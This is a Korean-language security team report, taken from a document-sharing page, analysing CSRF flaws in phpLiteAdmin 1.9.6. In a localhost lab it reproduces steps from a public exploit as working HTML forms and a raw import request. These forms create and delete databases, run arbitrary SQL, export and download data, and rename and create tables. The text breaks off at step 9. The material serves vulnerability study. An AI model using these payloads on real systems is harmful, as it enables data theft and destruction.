Black Falcon Phpliteadmin 취약점 분석

Black Falcon Phpliteadmin 취약점 분석

Confidential Black Falcon phpLiteAdmin 취약점 분석 2016. 05. by R2dF1r2 (All For One One For All ) 해당 문건은 대외비 문건으로, 팀 구성원만 열람 하도록 함. 해당 문건은 젂자 자산으로, 팀 내 관리하며 젂자 자료로 저장 관리함. 해당 문건은 팀장급 이상 열람 가능하며, 하드 카피는 불허 함. 해당 문건의 모든 권한은 BlackFalcon 대장에게 있음. 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 목차 1. phpLiteAdmin 소개 .............................................................................. 3 1.1 phpLiteAdmin 소개 ..................................................................................................................... 3 2. phpLiteAdmin 1.9.6 Multiple Vulnerabilities .................................. 4 2.1 취약점 소개 ................................................................................................................................... 4 2.2 CSRF 취약점 .................................................................................................................................. 4 3. phpLiteAdmin 1.9.6 CSRF 취약점 ...................................................... 4 3.1 Test 환경 ....................................................................................................................................... 4 3.2 phpLiteAdmin 1.9.6 CSRF 취약점 재현 .................................................................................... 6 2 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 1. phpLiteAdmin 소개 1.1 phpLiteAdmin 소개 phpLiteAdmin 은 웹사이트 형태로 SQLite를 관리할 수 있도록 도와주는 프로그램으로 php파일 하나로 구성된 싱글소스 프로그램이며 설치가 필요 없어 쉽게 사용할 수 있다. phpLiteAdmin 을 이용하면 쉽게 접근 가능한 웹 페이지를 통해 SQLite DB의 생성, 제거 를 포함한 다양한 DB관리가 가능하다. 3 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 2. phpLiteAdmin 1.9.6 Multiple Vulnerabilities 2.1 취약점 소개 phpLiteAdmin 1.9.6은 https://www.exploit-db.com/exploits/39714/ 를 통해서 CSRF, HTML(or Iframe) Injection, XSS 등의 취약점이 존재한 것으로 알려졌다. 이 문서를 통해 phpLiteAdmin에 존재하는 CSRF에 대해 분석하고 재현하고자 한다 2.2 CSRF 취약점 CSRF취약점이란 사용자가 웹사이트에 보내는 정상적인 요청에 대해 공격자가 의도한 행위를 수 행하도록 변조하는 방법으로, XSS공격이 악성 스크립트가 사용자의 클라이언트에서 실행된다면 CSRF공격은 인증된 사용자의 권한을 이용하여 서버에 공격자가 의도한 행위를 요청하는 변조 공 격이다. 3. phpLiteAdmin 1.9.6 CSRF 취약점 3.1 Test 환경 서버 OS : WindowsXP DB : SQLite 3.12.2 APP : phpLiteAdmin 1.9.6 가상서버에 구현된 phpLiteAdmin 1.9.6을 이용하여 https://www.exploit-db.com/exploits/39714/ 에 알려짂 CSRF 취약점 18단계를 재현한다. 4 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 Test를 위해 설치된 phpLiteAdmin 기본 페이지 현재 생성된 DB는 test이다. 5 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 3.2 phpLiteAdmin 1.9.6 CSRF 취약점 재현 1단계 – DB 생성 <html> <body> <form action="http://localhost/phpliteadmin/phpliteadmin.php" method="POST"> <input type="text" name="new_dbname" value="db"/> <input type="submit" value="Create DB"/> </form> </body> </html> http://localost/phpliteadmin/phpliteadmin.php URL로 DB생성 요청을 보낸다. <CSRF 공격을 위한 페이지를 생성하여 csrf라는 이름의 DB를 생성한다> 6 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 <csrf란 이름의 DB가 생성된 내용 확인 가능> 2단계 – DB 삭제 <html> <body> <form action=" http://localhost/phpliteadmin/phpliteadmin.php?database_delete=1" method="POST"> <input type="text" name="database_delete" value=".\db"/> <input type="submit" value="Drop DB"/> </form> </body> </html> http://localhost/phpliteadmin/phpliteadmin.php?database_delete=1 URL로 DB 삭제 요 청을 보낸다. 7 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 <1단계에서 생성한 csrf DB 삭제요청> <csrf DB가 삭제된 내용 확인 가능> 8 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 3단계 – SQL 구문 입력 <html> <body> <form action="http://localhost/phpliteadmin/phpliteadmin.php?view=sql" method="POST"> <input type="text" name="queryval" value="test"/> <input type="text" name="delimiter" value=";"/> <input type="text" name="query" value="go"/> <input type="submit" value="Execute SQL"/> </form> </body> </html> http://localhost/phpliteadmin/phpliteadmin.php?view=sql URL로 SQL구문을 직접 젂송한다 . 직접 SQL구문을 입력하여 젂송할 수 있는 공격페이지를 생성하여 서버로 직접 SQL구문을 젂송한 다. CREATE TABLE test (_id INTEGER PRIMARY KEY AUTOINCREMENT, dbName TEXT, dbPhone TEXT) 구문을 젂송하여 test라는 테이블을 생성요청. 9 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 사용자가 입력한 SQL구문이 작동하여 test 테이블이 생성된 내용 확인 4단계 – DB 추출 <html> <body> <form action="http://localhost/phpliteadmin/phpliteadmin.php?view=export" method="POST"> <input type="text" name="tables[]" value="testtable"/> <input type="text" name="export_type" value="sql"/> <input type="text" name="structure" value="on"/> <input type="text" name="data" value="on"/> <input type="text" name="transaction" value="on"/> <input type="text" name="comments" value="on"/> <input type="text" name="export_csv_fieldsterminated" value=";"/> <input type="text" name="export_csv_fieldsenclosed" value="""/> <input type="text" name="export_csv_fieldsescaped" value="\"/> <input type="text" name="export_csv_replacenull" value="NULL"/> <input type="text" name="export_csv_fieldnames" value="on"/> <input type="text" name="filename" value="db_2016-04-20.dump"/> <input type="text" name="export" value="Export"/> <input type="submit" value="Export DB"/> </form> 10 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 </body> </html> http://localhost/phpliteadmin/phpliteadmin.php?view=export URL로 DB 덤프 추출 요청 젂송 Test 테이블의 자료를 db_2016-04-20.dump 파일명으로 덤프추출 요청 DB 덤프파일 다운로드 11 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 다운받은 DB덤프파일을 통해 DB정보 확인 가능 5단계 – DB 다운로드 <html> <body> <form action="http://localhost/phpliteadmin/phpliteadmin.php" method="GET"> <input type="text" name="download" value=".\db"/> <input type="submit" value="Download DB"/> </form> </body> </html> http://localhost/phpliteadmin/phpliteadmin.php URL로 DB 다운로드 요청 젂송 Test DB 다운로드 요청 젂송 12 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 DB 다운로드 가능 6단계 – Table 삽입 URL http://localhost/phpliteadmin/phpliteadmin.php?view=import Request POST /phpliteadmin/phpliteadmin.php?view=import HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------28282942824983 Content-Length: 1410 -----------------------------28282942824983 Content-Disposition: form-data; name="import_type" sql -----------------------------28282942824983 Content-Disposition: form-data; name="import_csv_fieldsterminated" ; -----------------------------28282942824983 Content-Disposition: form-data; name="import_csv_fieldsenclosed" " -----------------------------28282942824983 Content-Disposition: form-data; name="import_csv_fieldsescaped" \ 13 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 -----------------------------28282942824983 Content-Disposition: form-data; name="import_csv_replacenull" NULL -----------------------------28282942824983 Content-Disposition: form-data; name="import_csv_fieldnames" on -----------------------------28282942824983 Content-Disposition: form-data; name="file"; filename="db_2016-04-20.dump.sql" Content-Type: text/sql ---- -- phpLiteAdmin database dump (https://bitbucket.org/phpliteadmin/public) -- phpLiteAdmin version: 1.9.6 -- Exported: 12:50am on April 20, 2016 (BST) -- database file: .\db ---- BEGIN TRANSACTION; ---- -- Table structure for testtable ---- CREATE TABLE 'testtable' ('id' INTEGER DEFAULT 1 ); ---- -- Data dump for testtable, a total of 1 rows ---- INSERT INTO "testtable" ("id") VALUES ('1'); COMMIT; -----------------------------28282942824983 Content-Disposition: form-data; name="import" Import -----------------------------28282942824983-- http://localhost/phpliteadmin/phpliteadmin.php?view=import URL 로 Table 삽입요청 젂송 14 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 Burp Suite 등의 프록시 툴을 이용하여 Table 삽입 요청을 서버로 직접 젂송 앞에서 추출한 DB 덤프파일을 이용하여 Table 삽입 가능 15 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 7단계 – DB 공백 제거 <html> <body> <form action="http://localhost/phpliteadmin/phpliteadmin.php?view=vacuum" method="POST"> <input type="text" name="vacuum" value="Vacuum"/> <input type="submit" value="DB Vacuum"/> </form> </body> </html> http://localhost/phpliteadmin/phpliteadmin.php?view=vacuum URL로 DB Vacuum 요청 젂송 DB Vacuum 버튼을 통해 DB Vacuum 요청 젂송 DB Vacuum 기능 정상 작동 16 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 8단계 – DB 이름변경 <html> <body> <form action=" http://localhost/phpliteadmin/phpliteadmin.php?view=rename&database_ rename=1" method="POST"> <input type="text" name="oldname" value=".\db1"/> <input type="text" name="newname" value=".\db"/> <input type="text" name="rename" value="Rename"/> <input type="submit" value="DB Rename"/> </form> </body> </html> http://localhost/phpliteadmin/phpliteadmin.php?view=rename&database_rename=1 URL로 DB이름 변경 요청 젂송 현재 존재하는 test라는 DB의 이름을 test1로 변경하도록 서버로 요청 17 보안등급 Confidential BlackFalcon 문서번호 BF-2016-0005 phpLiteAdmin vulnerabiliteis 작성일자 2016-05-16 test1로 변경된 DB이름 확인 가능 9단계 – 테이블 생성 Create Table <html> <body> <form action=" http://localhost/phpliteadmin/phpliteadmin.php?action=table_create&c onfirm=1" method="POST"> <input type="text" name="tablename" value="testtable"/> <input type="text" name="rows" value="1"/> <input type="text" name="0_field" value="id"/> <input type="text" name="0_type" value="INTEGER"/> <input type="text" name="0_defaultoption" value="defined"/> <input type="text" name="0_defaultvalue" value="1"/>

View Full Text

Details

  • File Type
    pdf
  • Upload Time
    -
  • Content Languages
    English
  • Upload User
    Anonymous/Not logged-in
  • File Pages
    30 Page
  • File Size
    -

Download

Channel Download Status
Express Download Enable

Copyright

We respect the copyrights and intellectual property rights of all users. All uploaded documents are either original works of the uploader or authorized works of the rightful owners.

  • Not to be reproduced or distributed without explicit permission.
  • Not used for commercial purposes outside of approved use cases.
  • Not used to infringe on the rights of the original creators.
  • If you believe any content infringes your copyright, please contact us immediately.

Support

For help with questions, suggestions, or problems, please contact us